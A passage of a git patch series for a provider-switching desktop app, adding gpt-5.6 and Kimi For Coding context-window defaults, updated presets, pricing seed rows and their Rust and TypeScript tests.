@@ -264,6 +264,66 @@ describe("useProviderActions", () => { expect(switchProviderMutateAsync).toHaveBeenCalledWith(provider.id); }); + it("allows the built-in Codex official provider during takeover", async () => { + switchProviderMutateAsync.mockResolvedValueOnce(undefined); + const { wrapper } = createWrapper(); + const provider = createProvider({ + id: "codex-official", + category: "official", + }); + + const { result } = renderHook( + () => useProviderActions("codex", true, true), + { wrapper }, + ); + + await act(async () => { + await result.current.switchProvider(provider); + }); + + expect(switchProviderMutateAsync).toHaveBeenCalledWith("codex-official"); + expect(toastErrorMock).not.toHaveBeenCalled(); + }); + + it("continues blocking other official providers during takeover", async () => { + const { wrapper } = createWrapper(); + const provider = createProvider({ + id: "claude-official", + category: "official", + }); + + const { result } = renderHook( + () => useProviderActions("claude", true, true), + { wrapper }, + ); + + await act(async () => { + await result.current.switchProvider(provider); + }); + + expect(switchProviderMutateAsync).not.toHaveBeenCalled(); + expect(toastErrorMock).toHaveBeenCalledTimes(1); + }); + + it("does not grant routing capability to a UUID Codex official copy", async () => { + const { wrapper } = createWrapper(); + const provider = createProvider({ + id: "generated-uuid", + category: "official", + }); + const { result } = renderHook( + () => useProviderActions("codex", true, true), + { wrapper }, + ); + + await act(async () => { + await result.current.switchProvider(provider); + }); + + expect(switchProviderMutateAsync).not.toHaveBeenCalled(); + expect(toastErrorMock).toHaveBeenCalledTimes(1); + }); + it("should sync plugin config when switching Claude provider with integration enabled", async () => { switchProviderMutateAsync.mockResolvedValueOnce(undefined); settingsApiGetMock.mockResolvedValueOnce({ From 5c39dfbfbea26f1a6d7d6838091d87e14bbfc17b Mon Sep 17 00:00:00 2001 From: Jason Date: Sun, 12 Jul 2026 23:20:55 +0800 Subject: [PATCH 62/73] feat(codex): declare gpt-5.6 context window for Claude Code takeover - Update Codex OAuth presets to the gpt-5.6 family (haiku -> gpt-5.6-luna) and bump the custom Codex template default model - Inject CLAUDE_CODE_MAX_CONTEXT_TOKENS / CLAUDE_CODE_AUTO_COMPACT_WINDOW (372000, the ChatGPT Codex catalog window with a ~353K effective budget, openai/codex#31860) into effective live settings so Claude Code stops assuming a 200K window and compacts before the upstream rejects the prompt - Gate the injected defaults on every configured model being gpt-5.6*: gpt-5.5's upstream catalog oscillates between 272K and 372K and must not inherit them; explicit user values always win - Strip the injected values on switch-away backfill (mirror-inverse of the injection conditions) so program defaults never harden into per-provider explicit values, and keep both keys out of the shared common-config snippet --- src-tauri/src/services/provider/live.rs | 375 +++++++++++++++++++++ src-tauri/src/services/provider/mod.rs | 13 + src/config/claudeDesktopProviderPresets.ts | 2 +- src/config/claudeProviderPresets.ts | 30 +- src/config/codexTemplates.ts | 2 +- tests/config/claudeProviderPresets.test.ts | 42 +++ 6 files changed, 458 insertions(+), 6 deletions(-) diff --git a/src-tauri/src/services/provider/live.rs b/src-tauri/src/services/provider/live.rs index 7b3451ae9..a37e17c5a 100644 --- a/src-tauri/src/services/provider/live.rs +++ b/src-tauri/src/services/provider/live.rs @@ -21,6 +21,107 @@ use super::gemini_auth::{ }; use super::normalize_claude_models_in_value; +/// ChatGPT Codex catalogs gpt-5.6 at a 372K context window with a ~353K +/// effective budget (openai/codex#31860), far below the 1.05M API spec. +/// Declare the catalog window for both knobs: Claude Code's built-in output +/// reserve and compact buffer already keep the actual compact trigger +/// (~278K-339K) below the effective budget, so anything lower only wastes +/// usable context. +const CODEX_OAUTH_CLAUDE_MAX_CONTEXT_TOKENS: &str = "372000"; +const CODEX_OAUTH_CLAUDE_AUTO_COMPACT_WINDOW: &str = "372000"; + +/// Model env keys Claude Code may route requests through. The defaults above +/// are calibrated against gpt-5.6's Codex catalog, so every configured model +/// must belong to that family before they are injected — gpt-5.5's upstream +/// catalog oscillates between 272K and 372K and must not inherit them. +const CODEX_OAUTH_MODEL_ENV_KEYS: [&str; 6] = [ + "ANTHROPIC_MODEL", + "ANTHROPIC_DEFAULT_HAIKU_MODEL", + "ANTHROPIC_DEFAULT_SONNET_MODEL", + "ANTHROPIC_DEFAULT_OPUS_MODEL", + "ANTHROPIC_DEFAULT_FABLE_MODEL", + "CLAUDE_CODE_SUBAGENT_MODEL", +]; + +fn provider_env_targets_gpt56(provider_env: Option<&serde_json::Map>) -> bool { + let Some(env) = provider_env else { + return false; + }; + let mut saw_model = false; + for key in CODEX_OAUTH_MODEL_ENV_KEYS { + let Some(value) = env.get(key) else { + continue; + }; + let Some(model) = value.as_str() else { + return false; + }; + let model = model.trim(); + if model.is_empty() { + continue; + } + saw_model = true; + if !model.to_ascii_lowercase().starts_with("gpt-5.6") { + return false; + } + } + saw_model +} + +/// Claude Code assigns unknown non-Claude model ids a 200K context window. +/// Codex OAuth deliberately exposes GPT ids through Claude Code, so enrich the +/// effective live settings for both newly-created and already-saved providers. +/// Explicit user values always win; the defaults are only injected when every +/// configured model targets gpt-5.6. +fn apply_codex_oauth_claude_context_defaults(settings: &mut Value, provider: &Provider) { + if !provider.is_codex_oauth() { + return; + } + + // Read provider-owned values before mutably borrowing the effective + // settings. This also deliberately prevents a legacy common-config + // snippet from overriding model-specific context limits. + let provider_env = provider + .settings_config + .get("env") + .and_then(Value::as_object); + let Some(root) = settings.as_object_mut() else { + return; + }; + let env = root.entry("env".to_string()).or_insert_with(|| json!({})); + let Some(env) = env.as_object_mut() else { + log::warn!( + "Cannot apply Codex OAuth Claude context defaults for '{}': env is not an object", + provider.id + ); + return; + }; + + let inject_defaults = provider_env_targets_gpt56(provider_env); + for (key, default_value) in [ + ( + "CLAUDE_CODE_MAX_CONTEXT_TOKENS", + CODEX_OAUTH_CLAUDE_MAX_CONTEXT_TOKENS, + ), + ( + "CLAUDE_CODE_AUTO_COMPACT_WINDOW", + CODEX_OAUTH_CLAUDE_AUTO_COMPACT_WINDOW, + ), + ] { + match provider_env.and_then(|provider_env| provider_env.get(key)) { + Some(value) => { + env.insert(key.to_string(), value.clone()); + } + None if inject_defaults => { + env.insert(key.to_string(), Value::String(default_value.to_string())); + } + // 老模型不注入默认值,同时剥掉遗留共享片段可能带进来的值 + None => { + env.remove(key); + } + } + } +} + pub(crate) fn sanitize_claude_settings_for_live(settings: &Value) -> Value { let mut v = settings.clone(); if let Some(obj) = v.as_object_mut() { @@ -537,6 +638,10 @@ pub(crate) fn build_effective_settings_with_common_config( } } + if matches!(app_type, AppType::Claude) { + apply_codex_oauth_claude_context_defaults(&mut effective_settings, provider); + } + Ok(effective_settings) } @@ -604,11 +709,55 @@ pub(crate) fn strip_common_config_from_live_settings( restore_live_settings_for_provider_backfill(app_type, provider, backfill_settings) } +/// 与 `apply_codex_oauth_claude_context_defaults` 严格对称:注入产物只活在 +/// live,切走回填时必须剥掉,否则程序默认值会固化成供应商的"用户显式值", +/// 之后调整默认值或更换模型时旧值永远压住新默认。仅当"注入会发生且注入的 +/// 就是这个值、且存储配置本来没有显式值"时才剥;用户显式存储的值和手改 +/// live 成其他数字的值都保留。 +fn strip_injected_codex_oauth_context_defaults(settings: &mut Value, provider: &Provider) { + if !provider.is_codex_oauth() { + return; + } + let provider_env = provider + .settings_config + .get("env") + .and_then(Value::as_object); + if !provider_env_targets_gpt56(provider_env) { + return; + } + let Some(env) = settings.get_mut("env").and_then(Value::as_object_mut) else { + return; + }; + for (key, default_value) in [ + ( + "CLAUDE_CODE_MAX_CONTEXT_TOKENS", + CODEX_OAUTH_CLAUDE_MAX_CONTEXT_TOKENS, + ), + ( + "CLAUDE_CODE_AUTO_COMPACT_WINDOW", + CODEX_OAUTH_CLAUDE_AUTO_COMPACT_WINDOW, + ), + ] { + let stored_explicit = provider_env.is_some_and(|e| e.contains_key(key)); + if stored_explicit { + continue; + } + if env.get(key).and_then(Value::as_str) == Some(default_value) { + env.remove(key); + } + } +} + fn restore_live_settings_for_provider_backfill( app_type: &AppType, provider: &Provider, live_settings: Value, ) -> Value { + if matches!(app_type, AppType::Claude) { + let mut settings = live_settings; + strip_injected_codex_oauth_context_defaults(&mut settings, provider); + return settings; + } if !matches!(app_type, AppType::Codex) { return live_settings; } @@ -1711,6 +1860,232 @@ mod tests { use super::*; use serde_json::json; + #[test] + fn codex_oauth_effective_settings_backfill_gpt_context_defaults() { + let db = Database::memory().expect("create memory db"); + let mut provider = Provider::with_id( + "codex-oauth".to_string(), + "Codex".to_string(), + json!({ + "env": { + "ANTHROPIC_MODEL": "gpt-5.6" + } + }), + None, + ); + provider.meta = Some(crate::provider::ProviderMeta { + provider_type: Some("codex_oauth".to_string()), + ..Default::default() + }); + + let effective = + build_effective_settings_with_common_config(&db, &AppType::Claude, &provider) + .expect("build effective settings"); + assert_eq!( + effective["env"]["CLAUDE_CODE_MAX_CONTEXT_TOKENS"], + json!("372000") + ); + assert_eq!( + effective["env"]["CLAUDE_CODE_AUTO_COMPACT_WINDOW"], + json!("372000") + ); + } + + #[test] + fn codex_oauth_context_defaults_preserve_user_overrides() { + let db = Database::memory().expect("create memory db"); + let mut provider = Provider::with_id( + "codex-oauth".to_string(), + "Codex".to_string(), + json!({ + "env": { + "CLAUDE_CODE_MAX_CONTEXT_TOKENS": "500000", + "CLAUDE_CODE_AUTO_COMPACT_WINDOW": "350000" + } + }), + None, + ); + provider.meta = Some(crate::provider::ProviderMeta { + provider_type: Some("codex_oauth".to_string()), + ..Default::default() + }); + + let effective = + build_effective_settings_with_common_config(&db, &AppType::Claude, &provider) + .expect("build effective settings"); + assert_eq!( + effective["env"]["CLAUDE_CODE_MAX_CONTEXT_TOKENS"], + json!("500000") + ); + assert_eq!( + effective["env"]["CLAUDE_CODE_AUTO_COMPACT_WINDOW"], + json!("350000") + ); + } + + #[test] + fn codex_oauth_context_defaults_ignore_legacy_common_config_values() { + let db = Database::memory().expect("create memory db"); + db.set_config_snippet( + AppType::Claude.as_str(), + Some( + json!({ + "env": { + "CLAUDE_CODE_MAX_CONTEXT_TOKENS": "262144", + "CLAUDE_CODE_AUTO_COMPACT_WINDOW": "262144" + } + }) + .to_string(), + ), + ) + .expect("save legacy common config"); + let mut provider = Provider::with_id( + "codex-oauth".to_string(), + "Codex".to_string(), + json!({ "env": { "ANTHROPIC_MODEL": "gpt-5.6" } }), + None, + ); + provider.meta = Some(crate::provider::ProviderMeta { + provider_type: Some("codex_oauth".to_string()), + common_config_enabled: Some(true), + ..Default::default() + }); + + let effective = + build_effective_settings_with_common_config(&db, &AppType::Claude, &provider) + .expect("build effective settings"); + assert_eq!( + effective["env"]["CLAUDE_CODE_MAX_CONTEXT_TOKENS"], + json!("372000") + ); + assert_eq!( + effective["env"]["CLAUDE_CODE_AUTO_COMPACT_WINDOW"], + json!("372000") + ); + } + + #[test] + fn codex_oauth_context_defaults_skip_non_gpt56_models() { + let db = Database::memory().expect("create memory db"); + db.set_config_snippet( + AppType::Claude.as_str(), + Some( + json!({ + "env": { + "CLAUDE_CODE_MAX_CONTEXT_TOKENS": "262144", + "CLAUDE_CODE_AUTO_COMPACT_WINDOW": "262144" + } + }) + .to_string(), + ), + ) + .expect("save legacy common config"); + let mut provider = Provider::with_id( + "codex-oauth".to_string(), + "Codex".to_string(), + json!({ + "env": { + "ANTHROPIC_MODEL": "gpt-5.5", + "CLAUDE_CODE_AUTO_COMPACT_WINDOW": "300000" + } + }), + None, + ); + provider.meta = Some(crate::provider::ProviderMeta { + provider_type: Some("codex_oauth".to_string()), + common_config_enabled: Some(true), + ..Default::default() + }); + + let effective = + build_effective_settings_with_common_config(&db, &AppType::Claude, &provider) + .expect("build effective settings"); + // 旧模型不注入 372K 默认值,遗留共享片段带进来的值也要剥掉 + assert!(effective["env"] + .get("CLAUDE_CODE_MAX_CONTEXT_TOKENS") + .is_none()); + // 用户显式写在供应商配置里的值仍然生效 + assert_eq!( + effective["env"]["CLAUDE_CODE_AUTO_COMPACT_WINDOW"], + json!("300000") + ); + } + + /// 往返不动点:注入产物只活在 live,切走回灌后存储配置必须与注入前一致, + /// 否则程序默认值固化成"用户显式值",之后调默认值永远压不动。 + #[test] + fn codex_oauth_backfill_strips_injected_context_defaults() { + let db = Database::memory().expect("create memory db"); + let mut provider = Provider::with_id( + "codex-oauth".to_string(), + "Codex".to_string(), + json!({ "env": { "ANTHROPIC_MODEL": "gpt-5.6" } }), + None, + ); + provider.meta = Some(crate::provider::ProviderMeta { + provider_type: Some("codex_oauth".to_string()), + ..Default::default() + }); + + // 模拟写 live:注入了两个上下文默认值 + let live = build_effective_settings_with_common_config(&db, &AppType::Claude, &provider) + .expect("build effective settings"); + assert_eq!( + live["env"]["CLAUDE_CODE_MAX_CONTEXT_TOKENS"], + json!("372000") + ); + + // 模拟切走回灌:注入产物被剥掉,其余字段原样保留 + let backfilled = + strip_common_config_from_live_settings(&db, &AppType::Claude, &provider, live); + assert!(backfilled["env"] + .get("CLAUDE_CODE_MAX_CONTEXT_TOKENS") + .is_none()); + assert!(backfilled["env"] + .get("CLAUDE_CODE_AUTO_COMPACT_WINDOW") + .is_none()); + assert_eq!(backfilled["env"]["ANTHROPIC_MODEL"], json!("gpt-5.6")); + } + + #[test] + fn codex_oauth_backfill_keeps_user_context_values() { + let db = Database::memory().expect("create memory db"); + let mut provider = Provider::with_id( + "codex-oauth".to_string(), + "Codex".to_string(), + json!({ + "env": { + "ANTHROPIC_MODEL": "gpt-5.6", + "CLAUDE_CODE_MAX_CONTEXT_TOKENS": "500000" + } + }), + None, + ); + provider.meta = Some(crate::provider::ProviderMeta { + provider_type: Some("codex_oauth".to_string()), + ..Default::default() + }); + + // live 里:MAX 是用户显式值;ACW 被用户手改成了非默认数字 + let live = json!({ + "env": { + "ANTHROPIC_MODEL": "gpt-5.6", + "CLAUDE_CODE_MAX_CONTEXT_TOKENS": "500000", + "CLAUDE_CODE_AUTO_COMPACT_WINDOW": "300000" + } + }); + let backfilled = + strip_common_config_from_live_settings(&db, &AppType::Claude, &provider, live); + assert_eq!( + backfilled["env"]["CLAUDE_CODE_MAX_CONTEXT_TOKENS"], + json!("500000") + ); + assert_eq!( + backfilled["env"]["CLAUDE_CODE_AUTO_COMPACT_WINDOW"], + json!("300000") + ); + } + /// C5 回归锁:前端表单的合并/剥离必须走 toml_edit 文档模型。 /// smol-toml 的 parse→merge→stringify 整文档重序列化会丢注释、 /// 按字母序重排键、并为 dotted 表生成多余的空父表头。 diff --git a/src-tauri/src/services/provider/mod.rs b/src-tauri/src/services/provider/mod.rs index 9c78ad058..9dcf52948 100644 --- a/src-tauri/src/services/provider/mod.rs +++ b/src-tauri/src/services/provider/mod.rs @@ -722,6 +722,8 @@ mod tests { "ANTHROPIC_BASE_URL": "https://example.com", "ANTHROPIC_MODEL": "claude-x", "CLAUDE_CODE_SUBAGENT_MODEL": "gpt-5.4-mini", + "CLAUDE_CODE_MAX_CONTEXT_TOKENS": "400000", + "CLAUDE_CODE_AUTO_COMPACT_WINDOW": "400000", // 可共享、非机密配置(复数 _TOKENS 不应被误剥) "ENABLE_TOOL_SEARCH": "true", "CLAUDE_CODE_MAX_OUTPUT_TOKENS": "8192" @@ -767,6 +769,12 @@ mod tests { assert!(env .and_then(|e| e.get("CLAUDE_CODE_SUBAGENT_MODEL")) .is_none()); + assert!(env + .and_then(|e| e.get("CLAUDE_CODE_MAX_CONTEXT_TOKENS")) + .is_none()); + assert!(env + .and_then(|e| e.get("CLAUDE_CODE_AUTO_COMPACT_WINDOW")) + .is_none()); // 可共享的非机密配置必须保留(含复数 _TOKENS 不被误剥) assert_eq!( @@ -2935,6 +2943,11 @@ impl ProviderService { "ANTHROPIC_DEFAULT_FABLE_MODEL", "ANTHROPIC_DEFAULT_FABLE_MODEL_NAME", "CLAUDE_CODE_SUBAGENT_MODEL", + // Context limits follow the actual upstream model. Sharing these + // across providers can cap GPT/Kimi to the wrong window and make + // Claude Code compact too early or miss the upstream limit. + "CLAUDE_CODE_MAX_CONTEXT_TOKENS", + "CLAUDE_CODE_AUTO_COMPACT_WINDOW", "ANTHROPIC_BASE_URL", ]; diff --git a/src/config/claudeDesktopProviderPresets.ts b/src/config/claudeDesktopProviderPresets.ts index 5c58d10ed..b3490f101 100644 --- a/src/config/claudeDesktopProviderPresets.ts +++ b/src/config/claudeDesktopProviderPresets.ts @@ -394,7 +394,7 @@ export const claudeDesktopProviderPresets: ClaudeDesktopProviderPreset[] = [ apiFormat: "openai_responses", providerType: "codex_oauth", requiresOAuth: true, - modelRoutes: brandedRoutes("gpt-5.5", "gpt-5.5", "gpt-5.4-mini"), + modelRoutes: brandedRoutes("gpt-5.6", "gpt-5.6", "gpt-5.6-luna"), icon: "openai", iconColor: "#000000", }, diff --git a/src/config/claudeProviderPresets.ts b/src/config/claudeProviderPresets.ts index e688138b7..799fa6947 100644 --- a/src/config/claudeProviderPresets.ts +++ b/src/config/claudeProviderPresets.ts @@ -1227,10 +1227,32 @@ export const providerPresets: ProviderPreset[] = [ // base_url 由代理后端强制重写为 chatgpt.com/backend-api/codex // 用户无需配置 ANTHROPIC_BASE_URL: "https://chatgpt.com/backend-api/codex", - ANTHROPIC_MODEL: "gpt-5.5", - ANTHROPIC_DEFAULT_HAIKU_MODEL: "gpt-5.4-mini", - ANTHROPIC_DEFAULT_SONNET_MODEL: "gpt-5.5", - ANTHROPIC_DEFAULT_OPUS_MODEL: "gpt-5.5", + ANTHROPIC_MODEL: "gpt-5.6", + ANTHROPIC_DEFAULT_HAIKU_MODEL: "gpt-5.6-luna", + ANTHROPIC_DEFAULT_SONNET_MODEL: "gpt-5.6", + ANTHROPIC_DEFAULT_OPUS_MODEL: "gpt-5.6", + // Claude Code falls back to a 200K context window for unrecognized + // non-Claude model ids. The ChatGPT Codex backend catalogs gpt-5.6 + // at a 372K window with a ~353K effective budget (openai/codex#31860), + // not the 1.05M API window. Declare 372K for both knobs: Claude Code's + // built-in output reserve and compact buffer already keep the compact + // trigger below the effective budget. + CLAUDE_CODE_MAX_CONTEXT_TOKENS: "${CLAUDE_CODE_MAX_CONTEXT_TOKENS}", + CLAUDE_CODE_AUTO_COMPACT_WINDOW: "${CLAUDE_CODE_AUTO_COMPACT_WINDOW}", + }, + }, + templateValues: { + CLAUDE_CODE_MAX_CONTEXT_TOKENS: { + label: "Max Context Tokens", + placeholder: "372000", + defaultValue: "372000", + editorValue: "372000", + }, + CLAUDE_CODE_AUTO_COMPACT_WINDOW: { + label: "Auto Compact Window", + placeholder: "372000", + defaultValue: "372000", + editorValue: "372000", }, }, category: "third_party", diff --git a/src/config/codexTemplates.ts b/src/config/codexTemplates.ts index 42bf0c962..989d4b41d 100644 --- a/src/config/codexTemplates.ts +++ b/src/config/codexTemplates.ts @@ -14,7 +14,7 @@ export interface CodexTemplate { */ export function getCodexCustomTemplate(): CodexTemplate { const config = `model_provider = "custom" -model = "gpt-5.5" +model = "gpt-5.6" model_reasoning_effort = "high" disable_response_storage = true diff --git a/tests/config/claudeProviderPresets.test.ts b/tests/config/claudeProviderPresets.test.ts index beb031ea2..d0b31e683 100644 --- a/tests/config/claudeProviderPresets.test.ts +++ b/tests/config/claudeProviderPresets.test.ts @@ -1,5 +1,6 @@ import { describe, expect, it } from "vitest"; import { providerPresets } from "@/config/claudeProviderPresets"; +import { applyTemplateValues } from "@/utils/providerConfigUtils"; describe("Kimi For Coding Provider Preset", () => { const kimiForCoding = providerPresets.find( @@ -28,6 +29,47 @@ describe("Kimi For Coding Provider Preset", () => { }); }); +describe("Codex Provider Preset", () => { + const codex = providerPresets.find((p) => p.name === "Codex"); + + it("should include the Codex preset", () => { + expect(codex).toBeDefined(); + }); + + it("should override Claude Code's 200K fallback for GPT models", () => { + const env = (codex!.settingsConfig as any).env; + expect(env).toHaveProperty( + "CLAUDE_CODE_MAX_CONTEXT_TOKENS", + "${CLAUDE_CODE_MAX_CONTEXT_TOKENS}", + ); + expect(env).toHaveProperty( + "CLAUDE_CODE_AUTO_COMPACT_WINDOW", + "${CLAUDE_CODE_AUTO_COMPACT_WINDOW}", + ); + }); + + it("should expose the Codex-catalog 372K window for both context knobs", () => { + const values = codex!.templateValues as any; + expect(values?.CLAUDE_CODE_MAX_CONTEXT_TOKENS).toMatchObject({ + defaultValue: "372000", + editorValue: "372000", + }); + expect(values?.CLAUDE_CODE_AUTO_COMPACT_WINDOW).toMatchObject({ + defaultValue: "372000", + editorValue: "372000", + }); + }); + + it("should resolve both context placeholders into Claude Code env values", () => { + const config = applyTemplateValues( + codex!.settingsConfig, + codex!.templateValues, + ) as any; + expect(config.env.CLAUDE_CODE_MAX_CONTEXT_TOKENS).toBe("372000"); + expect(config.env.CLAUDE_CODE_AUTO_COMPACT_WINDOW).toBe("372000"); + }); +}); + describe("AWS Bedrock Provider Presets", () => { const bedrockAksk = providerPresets.find( (p) => p.name === "AWS Bedrock (AKSK)", From 31ee42854afed29a29740b64c4c13e0682ec7df3 Mon Sep 17 00:00:00 2001 From: Jason Date: Sun, 12 Jul 2026 23:21:06 +0800 Subject: [PATCH 63/73] feat(pricing): seed gpt-5.6 alias rows and 1.25x cache-write rates - Add the bare gpt-5.6 row (official Sol alias) plus effort-suffix variants mirroring the gpt-5.5 accounting shape, priced at Sol rates - The GPT-5.6 family charges cache writes at 1.25x the uncached input rate (new for OpenAI; earlier GPT models keep their correct zero): set 6.25 / 3.125 / 1.25 for Sol / Terra / Luna across seed rows - Repair earlier zero-value gpt-5.6 tier seeds in existing databases, matching only untouched rows so user-customized prices survive --- src-tauri/src/database/schema.rs | 59 ++++++++++++++++++++++++++++++-- 1 file changed, 56 insertions(+), 3 deletions(-) diff --git a/src-tauri/src/database/schema.rs b/src-tauri/src/database/schema.rs index 63a73f801..ea0de90c2 100644 --- a/src-tauri/src/database/schema.rs +++ b/src-tauri/src/database/schema.rs @@ -1510,9 +1510,24 @@ impl Database { "3.75", ), // GPT-5.6 系列(Sol / Terra / Luna,2026-06 发布) - ("gpt-5.6-sol", "GPT-5.6 Sol", "5", "30", "0.50", "0"), - ("gpt-5.6-terra", "GPT-5.6 Terra", "2.50", "15", "0.25", "0"), - ("gpt-5.6-luna", "GPT-5.6 Luna", "1", "6", "0.10", "0"), + // 5.6 家族起 cache write 收 1.25× 输入价(此前 GPT 模型写缓存免费,勿回填旧系列) + ("gpt-5.6-sol", "GPT-5.6 Sol", "5", "30", "0.50", "6.25"), + ( + "gpt-5.6-terra", + "GPT-5.6 Terra", + "2.50", + "15", + "0.25", + "3.125", + ), + ("gpt-5.6-luna", "GPT-5.6 Luna", "1", "6", "0.10", "1.25"), + // 裸名 gpt-5.6 是 sol 的官方别名;effort 后缀对齐 gpt-5.5 系列的记账形态 + ("gpt-5.6", "GPT-5.6 Sol", "5", "30", "0.50", "6.25"), + ("gpt-5.6-low", "GPT-5.6 Sol", "5", "30", "0.50", "6.25"), + ("gpt-5.6-medium", "GPT-5.6 Sol", "5", "30", "0.50", "6.25"), + ("gpt-5.6-high", "GPT-5.6 Sol", "5", "30", "0.50", "6.25"), + ("gpt-5.6-xhigh", "GPT-5.6 Sol", "5", "30", "0.50", "6.25"), + ("gpt-5.6-minimal", "GPT-5.6 Sol", "5", "30", "0.50", "6.25"), // GPT-5.5 系列 ("gpt-5.5", "GPT-5.5", "5", "30", "0.50", "0"), ("gpt-5.5-low", "GPT-5.5", "5", "30", "0.50", "0"), @@ -2248,6 +2263,44 @@ impl Database { fn repair_current_model_pricing(conn: &Connection) -> Result<(), AppError> { let pricing_fixes = [ + // 2026-07-12 GPT-5.6 家族 cache write=1.25× 输入价(OpenAI 5.6 起的新规), + // 修正早期 seed 的 0 值;只匹配未被用户改过的行 + ( + "gpt-5.6-sol", + "GPT-5.6 Sol", + "5", + "30", + "0.50", + "6.25", + "5", + "30", + "0.50", + "0", + ), + ( + "gpt-5.6-terra", + "GPT-5.6 Terra", + "2.50", + "15", + "0.25", + "3.125", + "2.50", + "15", + "0.25", + "0", + ), + ( + "gpt-5.6-luna", + "GPT-5.6 Luna", + "1", + "6", + "0.10", + "1.25", + "1", + "6", + "0.10", + "0", + ), // 2026-06-10 全量核价(厂商官方 list 价;CNY 按 ~7.14 折算) // GLM 4.6/4.7:旧值是中转/OpenRouter 折扣价,统一到 Z.ai 官方(与 glm-5/5.1 一致) ( From 940ddd332b8afac23aabc34c65c2b15137785ded Mon Sep 17 00:00:00 2001 From: Jason Date: Sun, 12 Jul 2026 23:46:23 +0800 Subject: [PATCH 64/73] feat(kimi): declare the 256K context window for Kimi For Coding Claude Code caps unknown model ids at 200K, so the preset's standalone CLAUDE_CODE_AUTO_COMPACT_WINDOW=262144 was clamped by min(window, value) and never took effect. Pair it with CLAUDE_CODE_MAX_CONTEXT_TOKENS and route the endpoint's kimi-for-coding alias on every tier, since both context envs are ignored for claude-* prefixed model ids. Saved providers get the same context defaults injected into effective live settings at switch time, with a mirror-inverse strip on backfill so injected values never harden into provider config. Explicit user values always win over the injected defaults. --- src-tauri/src/services/provider/live.rs | 153 +++++++++++++++++++++ src/config/claudeProviderPresets.ts | 13 ++ tests/config/claudeProviderPresets.test.ts | 45 ++++-- 3 files changed, 203 insertions(+), 8 deletions(-) diff --git a/src-tauri/src/services/provider/live.rs b/src-tauri/src/services/provider/live.rs index a37e17c5a..1aa35a426 100644 --- a/src-tauri/src/services/provider/live.rs +++ b/src-tauri/src/services/provider/live.rs @@ -29,6 +29,7 @@ use super::normalize_claude_models_in_value; /// usable context. const CODEX_OAUTH_CLAUDE_MAX_CONTEXT_TOKENS: &str = "372000"; const CODEX_OAUTH_CLAUDE_AUTO_COMPACT_WINDOW: &str = "372000"; +const KIMI_FOR_CODING_CONTEXT_TOKENS: &str = "262144"; /// Model env keys Claude Code may route requests through. The defaults above /// are calibrated against gpt-5.6's Codex catalog, so every configured model @@ -67,6 +68,16 @@ fn provider_env_targets_gpt56(provider_env: Option<&serde_json::Map bool { + provider + .settings_config + .pointer("/env/ANTHROPIC_BASE_URL") + .and_then(Value::as_str) + .map(str::trim) + .map(|url| url.trim_end_matches('/')) + == Some("https://api.kimi.com/coding") +} + /// Claude Code assigns unknown non-Claude model ids a 200K context window. /// Codex OAuth deliberately exposes GPT ids through Claude Code, so enrich the /// effective live settings for both newly-created and already-saved providers. @@ -122,6 +133,36 @@ fn apply_codex_oauth_claude_context_defaults(settings: &mut Value, provider: &Pr } } +/// Kimi For Coding serves a 256K window, but Claude Code caps unknown models at +/// 200K unless `CLAUDE_CODE_MAX_CONTEXT_TOKENS` is set — and that env is ignored +/// for `claude-`-prefixed ids, so these defaults only bite when the provider also +/// routes the endpoint's `kimi-for-coding` alias (the preset does). Keep the +/// defaults provider-owned so an old shared snippet cannot override them. +fn apply_kimi_for_coding_context_defaults(settings: &mut Value, provider: &Provider) { + if !is_kimi_for_coding_provider(provider) { + return; + } + + let provider_env = provider + .settings_config + .get("env") + .and_then(Value::as_object); + let Some(env) = settings.get_mut("env").and_then(Value::as_object_mut) else { + return; + }; + + for key in [ + "CLAUDE_CODE_MAX_CONTEXT_TOKENS", + "CLAUDE_CODE_AUTO_COMPACT_WINDOW", + ] { + let value = provider_env + .and_then(|provider_env| provider_env.get(key)) + .cloned() + .unwrap_or_else(|| Value::String(KIMI_FOR_CODING_CONTEXT_TOKENS.to_string())); + env.insert(key.to_string(), value); + } +} + pub(crate) fn sanitize_claude_settings_for_live(settings: &Value) -> Value { let mut v = settings.clone(); if let Some(obj) = v.as_object_mut() { @@ -640,6 +681,7 @@ pub(crate) fn build_effective_settings_with_common_config( if matches!(app_type, AppType::Claude) { apply_codex_oauth_claude_context_defaults(&mut effective_settings, provider); + apply_kimi_for_coding_context_defaults(&mut effective_settings, provider); } Ok(effective_settings) @@ -748,6 +790,30 @@ fn strip_injected_codex_oauth_context_defaults(settings: &mut Value, provider: & } } +fn strip_injected_kimi_for_coding_context_defaults(settings: &mut Value, provider: &Provider) { + if !is_kimi_for_coding_provider(provider) { + return; + } + let provider_env = provider + .settings_config + .get("env") + .and_then(Value::as_object); + let Some(env) = settings.get_mut("env").and_then(Value::as_object_mut) else { + return; + }; + for key in [ + "CLAUDE_CODE_MAX_CONTEXT_TOKENS", + "CLAUDE_CODE_AUTO_COMPACT_WINDOW", + ] { + if provider_env.is_some_and(|provider_env| provider_env.contains_key(key)) { + continue; + } + if env.get(key).and_then(Value::as_str) == Some(KIMI_FOR_CODING_CONTEXT_TOKENS) { + env.remove(key); + } + } +} + fn restore_live_settings_for_provider_backfill( app_type: &AppType, provider: &Provider, @@ -756,6 +822,7 @@ fn restore_live_settings_for_provider_backfill( if matches!(app_type, AppType::Claude) { let mut settings = live_settings; strip_injected_codex_oauth_context_defaults(&mut settings, provider); + strip_injected_kimi_for_coding_context_defaults(&mut settings, provider); return settings; } if !matches!(app_type, AppType::Codex) { @@ -1860,6 +1927,92 @@ mod tests { use super::*; use serde_json::json; + #[test] + fn kimi_for_coding_effective_settings_backfill_256k_context() { + let db = Database::memory().expect("create memory db"); + let provider = Provider::with_id( + "kimi-for-coding".to_string(), + "Kimi For Coding".to_string(), + json!({ + "env": { + "ANTHROPIC_BASE_URL": "https://api.kimi.com/coding/", + "ANTHROPIC_MODEL": "kimi-for-coding", + "CLAUDE_CODE_AUTO_COMPACT_WINDOW": "262144" + } + }), + None, + ); + + let effective = + build_effective_settings_with_common_config(&db, &AppType::Claude, &provider) + .expect("build effective settings"); + assert_eq!( + effective["env"]["CLAUDE_CODE_MAX_CONTEXT_TOKENS"], + json!("262144") + ); + assert_eq!( + effective["env"]["CLAUDE_CODE_AUTO_COMPACT_WINDOW"], + json!("262144") + ); + } + + #[test] + fn kimi_for_coding_context_defaults_preserve_user_overrides() { + let db = Database::memory().expect("create memory db"); + let provider = Provider::with_id( + "kimi-for-coding".to_string(), + "Kimi For Coding".to_string(), + json!({ + "env": { + "ANTHROPIC_BASE_URL": "https://api.kimi.com/coding", + "CLAUDE_CODE_MAX_CONTEXT_TOKENS": "300000", + 